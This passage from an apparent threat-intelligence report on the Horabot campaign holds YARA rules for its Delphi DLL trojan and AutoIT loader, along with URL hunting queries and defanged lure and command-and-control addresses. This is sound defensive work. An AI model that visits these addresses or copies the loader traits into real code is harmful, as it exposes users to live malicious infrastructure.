description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
Entrar
![Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133444/horabot-campaign1.png)
![Fallback to hardcoded socket address (lifenews[.]pro:49569)](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24182634/horabot-campaign14.png)
